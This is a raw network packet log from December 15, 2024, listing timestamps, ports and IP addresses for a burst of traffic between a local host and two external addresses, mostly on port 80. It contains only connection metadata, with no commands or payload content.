Dec 15, 2024 11:59:50.407270908 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.407330990 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.407356977 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.407402992 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.408354998 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.408402920 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.408452988 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.408498049 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.409447908 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.409496069 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.409539938 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.409589052 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.410517931 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.410564899 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.410645008 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.410691977 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.411695957 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.411744118 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.411813974 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.411859989 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.412727118 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.412775040 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.412947893 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.412993908 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.413824081 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.413876057 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.413944006 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.413990974 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.414951086 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.415003061 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.415071011 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.415117025 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.416023016 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.416073084 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.416141987 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.416188002 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.417259932 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.417316914 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.417327881 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.417361021 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.418220043 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.418270111 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.418284893 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.418334007 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.419420004 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.419471979 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.419560909 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.419606924 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.420702934 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.420752048 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.420789003 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.420835018 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.421569109 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.421617031 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.421662092 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.421708107 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.422625065 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.422677040 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.422812939 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.422859907 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.423933983 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.423984051 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.424021959 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.424087048 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.424894094 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.424943924 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.424985886 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.425034046 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.425936937 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.425986052 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.426054001 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.426100016 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.427022934 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.427073956 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.427201986 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.427253962 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.428128958 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.428184986 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.428252935 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.428301096 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.429296017 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.429358006 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.429439068 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.429486036 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.430371046 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.430433035 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.430480957 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.430531025 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.431408882 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.431468964 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.431588888 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.431637049 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.432531118 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.432600021 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.432646990 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.432696104 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.433641911 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.433689117 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.433757067 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.433804989 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.434761047 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.434817076 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.434825897 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.434873104 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.435846090 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.435903072 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.435966015 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.436016083 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.436934948 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.436990976 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.437051058 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.437100887 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.438374996 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.438430071 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.438744068 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.438792944 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.439177990 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.439230919 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.439346075 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.439399004 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.440263033 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.440325975 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.440383911 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.440433025 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.441323042 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.441406012 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.441451073 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.441498995 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.442424059 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.442481041 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.442533016 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.442601919 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.443530083 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.443594933 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.443634033 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.443685055 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.444689989 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.444726944 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.444751978 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.444782972 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.445630074 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:50.445702076 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.445755005 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.446010113 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.446063995 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.446856976 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.446918964 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.446971893 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.447024107 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.447926998 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.447983027 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.447987080 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.448034048 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.448987007 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.449048042 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.455332994 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:50.575198889 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:50.583553076 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.583589077 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.583656073 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.583656073 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.584072113 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.584126949 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.584189892 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.584239006 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.585155010 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.585203886 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.585262060 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.585309029 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.586301088 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.586349964 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.586416960 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.586467028 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.587378979 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.587435961 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.587440014 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.587487936 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.588464975 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.588519096 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.588562012 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.588612080 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.589576960 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.589628935 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.589767933 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.589818954 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.590826035 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.590887070 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.590910912 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.590960979 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.591751099 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.591804028 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.591905117 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.591959953 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.592859983 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.592912912 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.592943907 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.592991114 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.594044924 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.594090939 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.594160080 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.594208956 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.595051050 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.595098972 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.595156908 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.595202923 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.596200943 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.596254110 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.596349001 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.596400023 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.597254992 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.597310066 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.597378016 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.597424984 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.598356962 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.598413944 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.598480940 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.598531008 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.599457979 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.599512100 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.599606991 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.599659920 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.600579023 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.600630999 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.600699902 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.600804090 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.601667881 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.601773977 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.601823092 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.601887941 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.602778912 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.602826118 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.602873087 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.602916002 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.603889942 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.603949070 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.604001999 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.604049921 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.604962111 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.605015993 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.605120897 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.605165958 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.606060028 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.606111050 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.606154919 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.606199026 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.607156992 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.607201099 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.607250929 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.607292891 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.608274937 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.608324051 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.608406067 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.608448982 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.609352112 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.609397888 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.609441996 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.609487057 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.610481024 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.610527039 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.610588074 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.610632896 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.611567020 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.611613035 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.611783981 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.611829996 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.612651110 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.612699986 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.612802029 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.612847090 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.613806963 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.613859892 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.613929987 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.613972902 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.614976883 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.615032911 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.615080118 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.615123987 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.615947008 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.615993023 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.616086006 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.616130114 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.617145061 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.617193937 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.617234945 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.617276907 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.618153095 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.618223906 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.618287086 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.618335009 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.619227886 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.619273901 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.619354963 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.619427919 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.620449066 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.620493889 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.620625973 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.620668888 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.621469021 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.621514082 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.621561050 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.621603966 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.622545958 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.622592926 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.622639894 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.622684956 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.623625040 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.623672009 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.623713017 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.623758078 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.624730110 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.624773026 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.624818087 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.624862909 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.625828028 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.625870943 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.625952959 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.625994921 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.626955986 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.626997948 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.627043962 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.627084970 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.628024101 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.628068924 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.628130913 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.628175020 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.629199982 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.629244089 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.629280090 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.629319906 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.630228043 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.630270958 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.630361080 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.630402088 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.631344080 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.631391048 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.631447077 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.631496906 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.631711006 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:50.632477999 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.632527113 CET	49857	80	192.168.2.4	185.215.113.16
